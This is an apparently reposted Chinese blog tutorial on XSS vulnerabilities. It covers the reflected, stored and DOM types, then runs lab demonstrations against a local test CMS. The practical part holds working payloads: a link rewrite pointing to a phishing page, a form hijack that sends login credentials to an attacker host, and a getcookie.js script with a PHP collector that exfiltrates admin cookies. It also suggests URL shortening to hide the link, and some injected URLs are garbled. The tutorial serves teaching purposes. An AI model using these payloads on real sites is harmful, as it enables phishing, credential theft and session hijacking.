文章目录
前言
本篇文章详细讲解XSS漏洞及其原理,以及常见的XSS漏洞利用和一些防范手段。同时最后会通过对特定靶场环境进行手工的XSS漏洞的注入,以便加深对XSS漏洞的熟悉与理解。
一、XSS是什么?
xss全称为Cross Site Script,即跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheet)混淆,因此简称为XSS。最初的XSS演示是跨域的,因此被称之为跨站脚本攻击,但随着JavaScript的强大功能以及前端网页逐渐复杂化,跨不跨域已经不重要,但是这个名称还是保留了下来。
xss本质上是黑客通过对网页的HTML注入,篡改了原本服务器发给客户端的数据包,在其中插入了恶意脚本,从而在用户浏览网页的时候控制用户的一种攻击。xss长期因此被称为客户端Web安全的头号大敌,因为xss破坏力强大,产生情景复杂,一年才针对不同场景产生的xss漏洞,应该区分情景对待。
二、XSS的大致分类与利用思路
1.反射型
反射型xss的意思是说,攻击者将构造好的payload注入,提交信息给服务器之后再次返回给浏览器端时,并被浏览器误解析执行,以更改当前网页上的某些信息(如链接),或者使浏览器执行某些脚本。所以黑客往往需要诱使用户“点击”恶意链接才能攻击成功。因此反射型xss也被称之为非持久性xss。
2.存储型
存储型xss是指像留言板、用户名称等一些会存储在服务器端的信息,当攻击者在存在xss漏洞的留言板处进行注入之后,任何浏览器端加载该信息的时候都会将其中的恶意代码解析,进而触发xss攻击。该方法甚至可以在管理员审核留言时触发,进而造成管理员敏感信息的泄露。因为其存储在服务器端,因此造成的危险程度、攻击范围比反射型更大更广。
3.DOM型
DOM型xss是基于html的dom文档来说的,攻击者通过注入JavaScript的脚本,利用相应的函数修改网页的DOM结构,进而修改网页的某些信息,本质上也是一种反射性xss,后来便单独分成了一类。
三、不同类型的XSS漏洞注入演示
1.反射型xss
2.存储型xss
3.DOM型xss
http://192.168.159.156/admin/login.php?username="/>ssss");document.getElementsByTagName("body")[0].οnlοad=function changeLink(){document.getElementById("myId").href="http://192.168.1.101/xsstest/fish.html"} </script> <a href=
三、XSS漏洞实战
1.制作钓鱼网站获得用户的用户名和密码
http://192.168.159.156/admin/login.php?username="/>myform").action="http://192.168.1.101/xsstest/getinfo.php" </script> <a href=

但是这个链接太长了,而且一看就是图摸不轨的URL,所以我们使用将其转化为短连接:

访问生成的短连接,并输入测试的账号:admin密码:admin

在攻击者的网站下生成了对应的passwd.txt,获取了用户的账户密码信息。

这样我们就通过钓鱼的方式获取了用户的账号密码,当然这只是大致原理,真正情况下还要进行网站的防范测试、进行绕过。
2.获取管理员的cookie
接下来我们再来看最后一个实验场景,获取CMS后台管理员的cookie,经过前面的测试我们知道在该CMS文章系统前台的留言板存在xss漏洞,因此我们可以通过存储型的xss注入,利用JavaScript获取cookie再传送到我们自己的网站底下。
好了有了大致思路之后我们就开始搞,首先我们还是明确我们的攻击思路,首先在前端留言板构造payload,保险起见,我们不带有攻击性的代码,仅仅远程调用我们(攻击者网站下的脚本),所以我们先写好相应的脚本文件:
getcookie.js:
function getcookie(){
var url="http://192.168.1.101/xsstest/getcookie.php"; var data = "cookie="+document.cookie; var xmlhttp = new XMLHttpRequest(); xmlhttp.open("POST",url); xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); //content-type:表名内容类型,决定浏览器以什么形式进行编码读取这个文件。 //application/x-www-form-urlencoded:最常见的POST提交数据的方式 xmlhttp.send(data); } getcookie();
getcookie.php:
$cookie=@$_POST['cookie']; file_put_contents("cookie.txt", $cookie."\n",FILE_APPEND); ?>
在CMS文章系统的留言板注入代码:
<script src="http://192.168.1.101/xsstest/getcookie.js"></script>
总结
以上就是关于XSS漏洞的全部内容,之后有时间我还会更新关于CSRF与XSS联合使用制作钓鱼网站的内容,欢迎关注交流学习。
发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/200023.html原文链接:https://javaforall.net
